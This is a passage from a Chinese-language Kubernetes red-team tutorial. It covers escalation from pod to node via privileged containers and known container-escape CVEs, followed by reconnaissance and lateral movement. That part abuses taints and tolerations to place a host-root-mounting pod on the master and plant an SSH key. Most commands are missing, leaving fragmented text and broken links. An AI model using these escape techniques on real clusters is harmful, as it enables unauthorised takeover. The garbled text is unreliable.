kubectl --kubeconfig /root/.kube/config replace -f - cronjob持久化
0x04 權(quán)限提升指從pod拿到Node的shell,或者拿到集群控制權(quán)。 上面的小節(jié)提到過一些,比如kubectl未授權(quán)、docker.sock、掛載目錄、高權(quán)限Service account等方法。 除此之外還有Docker、k8s的一些CVE Docker逃逸如CVE-2019-5736,CVE-2019-14271,CVE-2020-15257、CVE-2022-0811 k8s提權(quán)到接管集群的如CVE-2018-1002105,CVE-2020-8558 docker逃逸可以看之前總結(jié)的容器逃逸相關文章,這里說一下特權(quán)容器逃逸 特權(quán)容器逃逸當容器啟動加上 而K8s配置文件啟用了 實戰(zhàn)案例: 通過漏洞獲取 0x05 探測● 內(nèi)網(wǎng)掃描 ● K8s常用端口探測 ● 集群內(nèi)部網(wǎng)絡 是否在容器環(huán)境中
集群內(nèi)網(wǎng)掃描
● 同一 ● 各 ● ● 集群外部的流量與 所以和常規(guī)內(nèi)網(wǎng)滲透無區(qū)別, K8s常用端口探測集群內(nèi)部網(wǎng)絡● ● 0x06 橫向移動目的通常來說,拿到kubeconfig或者能訪問apiserver的ServiceAccount token,就代表著控下了整個集群。 但往往在紅隊攻擊中,我們常常要拿到某一類特定重要系統(tǒng)的服務器權(quán)限來得分。前面我們已經(jīng)可以在節(jié)點上通過創(chuàng)建pod來逃逸,從而獲得節(jié)點對應主機的權(quán)限,那么我們是否能控制pod在指定節(jié)點上生成,逃逸某個指定的Node或Master節(jié)點。 親和性與反親和性一般來說我們部署的Pod是通過集群的自動調(diào)度策略來選擇節(jié)點的,但是因為一些實際業(yè)務的需求可能需要控制某些pod調(diào)度到特定的節(jié)點。就需要用到 Kubernetes 里面的一個 概念:親和性和反親和性。 親和性又分成節(jié)點親和性( nodeAffinity )和 Pod 親和性( podAffinity )。
節(jié)點親和性( nodeAffinity )節(jié)點親和性主要是用來控制 pod 要部署在哪些主機上,以及不能部署在哪些主機上的,演示一下: 查看node的label命令 給節(jié)點打上label標簽 當node 被打上了相關標簽后,在調(diào)度的時候就可以使用這些標簽了,只需要在 Pod 的spec字段中添加 nodeSelector 字段 Pod 親和性( podAffinity )pod 親和性主要處理的是 pod 與 pod 之間的關系,比如一個 pod 在一個節(jié)點上了,那么另一個也得在這個節(jié)點,或者你這個 pod 在節(jié)點上了,那么我就不想和你待在同一個節(jié)點上。 污點與容忍度節(jié)點親和性是 Pod的一種屬性,它使 Pod 被吸引到一類特定的節(jié)點。 污點(Taint)則相反——它使節(jié)點能夠排斥一類特定的 Pod。 污點標記選項:
我們使用kubeadm搭建的集群默認就給 master 節(jié)點(主節(jié)點)添加了一個污點標記,所以我們看到我們平時的 pod 都沒有被調(diào)度到master 上去。除非有
給指定節(jié)點標記污點 taint :
上面將 k8s-node01 節(jié)點標記為了污點,影響策略是 NoSchedule,只會影響新的 pod 調(diào)度。 由于 node01節(jié)點被標記為了污點節(jié)點,所以我們這里要想 pod 能夠調(diào)度到 node01節(jié)點去,就需要增加容忍的聲明
使用污點和容忍度能夠使Pod靈活的避開某些節(jié)點或者將某些Pod從節(jié)點上驅(qū)逐。 詳細概念可以參考官網(wǎng)文檔:污點和容忍度 | Kubernetes 實現(xiàn)master節(jié)點逃逸比如要想獲取到master節(jié)點的shell,則可以從這兩點考慮
查看k8s-master的節(jié)點情況,確認Master節(jié)點的容忍度:
創(chuàng)建帶有容忍參數(shù)并且掛載宿主機根目錄的Pod
之后按照上面逃逸node01節(jié)點的方式寫入ssh公鑰即可getshell。
四、后滲透&集群持久化https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA 五、參考https://www./2022/03/13/k8s安全 入門學習/ (k8s基礎、攻擊矩陣) https://xz.aliyun.com/t/11316 (K8S云原生環(huán)境滲透學習) https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA (K8S后滲透橫向節(jié)點與持久化隱蔽方式探索) https://mp.weixin.qq.com/s/emej9iAFTgr14Y_Q3-aYNA https:///learning/(非常好的中文教程) https:///zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有點不好的是有些地方?jīng)]有中文) 永遠相信 永遠熱愛 |
|